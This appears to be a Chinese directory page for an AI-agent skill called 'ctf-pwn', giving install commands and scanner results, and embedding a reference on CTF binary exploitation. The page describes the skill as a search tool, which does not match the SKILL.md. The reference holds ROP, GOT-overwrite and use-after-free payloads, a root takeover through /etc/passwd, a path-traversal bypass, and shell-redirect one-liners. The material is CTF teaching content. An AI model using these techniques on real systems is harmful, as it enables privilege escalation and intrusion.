Token导航 LogoToken导航TokenDH.com
研究检索执行命令github未标认证来源可访问许可证需确认审计异常

ctf-pwnCTF PWN 搜索

Agent Skill

ctf-pwn 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

294

周安装

12

GitHub Stars

1

下载量

95
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ctf-pwn(CTF PWN 搜索)
来源仓库:https://github.com/ramzxy/ctf
仓库路径:skills/ctf-pwn
安装命令:
npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn

简介

ctf-pwn 用于查找、检索和筛选与 CTF PWN 搜索相关的信息。

  • 适合在 Codex、Claude、Cursor、Gemini CLI 中根据关键词定位候选结果。
  • 通过 npx skills add 命令从指定 GitHub 仓库安装并使用。
  • 安装前需确认权限范围和维护状态,注意可能触发联网或文件操作。
  • 建议结合原始 README 核验具体用法和功能边界。

SKILL.md

CTF Binary Exploitation (Pwn)

Quick reference for pwn challenges. For detailed techniques, see supporting files.

Additional Resources

  • format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
  • advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)

Source Code Red Flags

  • Threading/pthread → race conditions
  • usleep()/sleep() → timing windows
  • Global variables in multiple threads → TOCTOU

Race Condition Exploitation

bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'

Common Vulnerabilities

  • Buffer overflow: gets(), scanf("%s"), strcpy()
  • Format string: printf(user_input)
  • Integer overflow, UAF, race conditions

Kernel Exploitation

  • Look for vulnerable lseek handlers allowing OOB read/write
  • Heap grooming with forked processes
  • SUID binary exploitation via kernel-to-userland buffer overflow
  • Check kernel config for disabled protections:

- CONFIG_SLAB_FREELIST_RANDOM=n → sequential heap chunks - CONFIG_SLAB_MERGE_DEFAULT=n → predictable allocations

FUSE/CUSE Character Device Exploitation

FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)

Identification:

  • Look for cuse_lowlevel_main() or fuse_main() calls
  • Device operations struct with open, read, write handlers
  • Device name registered via DEVNAME=backdoor or similar

Common vulnerability patterns:

// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
    char *cmd = strtok(input, ":");
    char *file = strtok(NULL, ":");
    char *mode = strtok(NULL, ":");
    if (!strcmp(cmd, "b4ckd00r")) {
        chmod(file, atoi(mode));  // Arbitrary chmod!
    }
}

Exploitation:

# Change /etc/passwd permissions via custom device
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor

# 511 decimal = 0777 octal (rwx for all)
# Now modify passwd to get root
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root

Privilege escalation via passwd modification:

  1. Make /etc/passwd writable via the backdoor
  2. Replace root line with root::0:0:root:/root:/bin/sh (no password)
  3. su root without password prompt

Busybox/Restricted Shell Escalation

When in restricted environment without sudo:

  1. Find writable paths via character devices
  2. Target system files: /etc/passwd, /etc/shadow, /etc/sudoers
  3. Modify permissions then content to gain root

Protection Implications for Exploit Strategy

ProtectionStatusImplication
PIEDisabledAll addresses (GOT, PLT, functions) are fixed - direct overwrites work
RELROPartialGOT is writable - GOT overwrite attacks possible
RELROFullGOT is read-only - need alternative targets (hooks, vtables, return addr)
NXEnabledCan't execute shellcode on stack/heap - use ROP or ret2win
CanaryPresentStack smash detected - need leak or avoid stack overflow (use heap)

Quick decision tree:

  • Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
  • Full RELRO → target __free_hook, __malloc_hook (glibc < 2.34), or return addresses
  • Stack canary present → prefer heap-based attacks or leak canary first

Stack Buffer Overflow

  1. Find offset to return address: cyclic 200 then cyclic -l <value>
  2. Check protections: checksec --file=binary
  3. No PIE + No canary = direct ROP
  4. Canary leak via format string or partial overwrite

ret2win with Parameter (Magic Value Check)

Pattern: Win function checks argument against magic value before printing flag.

// Common pattern in disassembly
void win(long arg) {
    if (arg == 0x1337c0decafebeef) {  // Magic check
        // Open and print flag
    }
}

Exploitation (x86-64):

from pwn import *

# Find gadgets
pop_rdi_ret = 0x40150b   # pop rdi; ret
ret = 0x40101a           # ret (for stack alignment)
win_func = 0x4013ac
magic = 0x1337c0decafebeef

offset = 112 + 8  # = 120 bytes to reach return address

payload = b"A" * offset
payload += p64(ret)        # Stack alignment (Ubuntu/glibc requires 16-byte)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)

Finding the win function:

  • Search for fopen("flag.txt") or similar in Ghidra
  • Look for functions with no XREF that check a magic parameter
  • Check for conditional print/exit patterns after parameter comparison

Stack Alignment (16-byte Requirement)

Modern Ubuntu/glibc requires 16-byte stack alignment before call instructions. Symptoms of misalignment:

  • SIGSEGV in movaps instruction (SSE requires alignment)
  • Crash inside libc functions (printf, system, etc.)

Fix: Add extra ret gadget before your ROP chain:

payload = b"A" * offset
payload += p64(ret)        # Align stack to 16 bytes
payload += p64(pop_rdi_ret)
# ... rest of chain

Offset Calculation from Disassembly

push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp        ; Stack frame = 0x70 (112) bytes
...
lea    -0x70(%rbp),%rax  ; Buffer at rbp-0x70
mov    $0xf0,%edx        ; read() size = 240 (overflow!)

Calculate offset:

  • Buffer starts at rbp - buffer_offset (e.g., rbp-0x70)
  • Saved RBP is at rbp (0 offset from buffer end)
  • Return address is at rbp + 8
  • Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes

Input Filtering (memmem checks)

Some challenges filter input using memmem() to block certain strings:

payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload

Finding Gadgets

# Find pop rdi; ret
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"

# Find simple ret (for alignment)
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"

Struct Pointer Overwrite (Heap Menu Challenges)

Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.

Struct layout example:

struct Student {
    char name[36];      // offset 0x00 - data buffer
    int *grade_ptr;     // offset 0x24 - pointer to separate allocation
    float gpa;          // offset 0x28
};  // total: 0x2c (44 bytes)

Exploitation:

from pwn import *

WIN = 0x08049316
GOT_TARGET = 0x0804c00c  # printf@GOT

# 1. Create object (allocates struct + sub-allocations)
create_student("AAAA", 5, 3.5)

# 2. Modify name - overflow into pointer field with GOT address
payload = b'A' * 36 + p32(GOT_TARGET)  # 36 bytes padding + GOT addr
modify_name(0, payload)

# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
modify_grade(0, str(WIN))  # Writes win addr as int to GOT entry

# 4. Trigger overwritten function -> jumps to win

GOT target selection strategy:

  • Identify which libc functions the win function calls internally
  • Do NOT overwrite GOT entries for functions used by win (causes infinite recursion/crash)
  • Prefer functions called in the main loop AFTER the write
Win usesSafe GOT targets
puts, fopen, fread, fclose, exitprintf, free, getchar, malloc, scanf
printf, systemputs, exit, free
system onlyputs, printf, exit

ROP Chain Building

from pwn import *

elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)

# Common gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

# Leak libc
payload = flat(
    b'A' * offset,
    pop_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main']
)

Pwntools Template

from pwn import *

context.binary = elf = ELF('./binary')
context.log_level = 'debug'

def conn():
    if args.REMOTE:
        return remote('host', port)
    return process('./binary')

io = conn()
# exploit here
io.interactive()

Useful Commands

one_gadget libc.so.6           # Find one-shot gadgets
ropper -f binary               # Find ROP gadgets
ROPgadget --binary binary      # Alternative gadget finder
seccomp-tools dump ./binary    # Check seccomp rules

Use-After-Free (UAF) Exploitation

Pattern: Menu-based programs with create/delete/view operations where free() doesn't NULL the pointer.

Classic UAF flow:

  1. Create object A (allocates chunk with function pointer)
  2. Leak address via inspect/view (bypass PIE)
  3. Free object A (creates dangling pointer)
  4. Allocate object B of same size (reuses freed chunk via tcache)
  5. Object B data overwrites A's function pointer with win() address
  6. Trigger A's callback → jumps to win()

Key insight: Both structs must be the same size for tcache to reuse the chunk.

# UAP Watch pattern
create_report("sighting-0")  # 64-byte struct with callback ptr at +56
leak = inspect_report(0)      # Leak callback address for PIE bypass
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset

delete_report(0)              # Free chunk, dangling pointer remains
# Allocate same-size struct, overwriting callback
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0)             # Calls dangling pointer → win()

Seccomp Bypass

Alternative syscalls when seccomp blocks open()/read():

  • openat() (257), openat2() (437, often missed!), sendfile() (40), readv()/writev()

Check rules: seccomp-tools dump./binary

See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, scmp_arg_cmp struct layout.

Stack Shellcode with Input Reversal

Pattern (Scarecode): Binary reverses input buffer before returning.

Strategy:

  1. Leak address via info-leak command (bypass PIE)
  2. Find sub rsp, 0x10; jmp *%rsp gadget
  3. Pre-reverse shellcode and RIP overwrite bytes
  4. Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
  5. Place trampoline (jmp short) to hop back into NOP sled + shellcode

Null-byte avoidance with scanf("%s"):

  • Can't embed \x00 in payload
  • Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
  • Use short jumps and NOP sleds instead of multi-address ROP chains

Path Traversal Sanitizer Bypass

Pattern (Galactic Archives): Sanitizer skips character after finding banned char.

# Sanitizer removes '.' and '/' but skips next char after match
# ../../etc/passwd → bypass with doubled chars:
"....//....//etc//passwd"
# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)

Flag via /proc/self/fd/N:

  • If binary opens flag file but doesn't close fd, read via /proc/self/fd/3
  • fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file

Global Buffer Overflow (CSV Injection)

Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.

Exploitation:

  1. Identify global array adjacent to filename pointer in memory
  2. Overflow array bounds by injecting extra delimiters (commas in CSV)
  3. Overflowed pointer lands on filename variable
  4. Change filename to flag.txt, then trigger read operation
# Edit last cell with comma-separated overflow
edit_cell("J10", "whatever,flag.txt")
save()   # CSV row now has 11 columns
load()   # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load()   # Now reads flag.txt into spreadsheet
print_spreadsheet()  # Shows flag

Shell Tricks

File descriptor redirection (no reverse shell needed):

# Redirect stdin/stdout to client socket (fd 3 common for network)
exec <&3; sh >&3 2>&3

# Or as single command string
exec<&3;sh>&3
  • Network servers often have client connection on fd 3
  • Avoids firewall issues with outbound connections
  • Works when you have command exec but limited chars

Find correct fd:

ls -la /proc/self/fd           # List open file descriptors

Short shellcode alternatives:

  • sh<&3 >&3 - minimal shell redirect
  • Use $0 instead of sh in some shells

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

35.38%
按下载量换算34

Claude

29.18%
按下载量换算28

Cursor

19.61%
按下载量换算19

Gemini CLI

9.75%
按下载量换算9

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills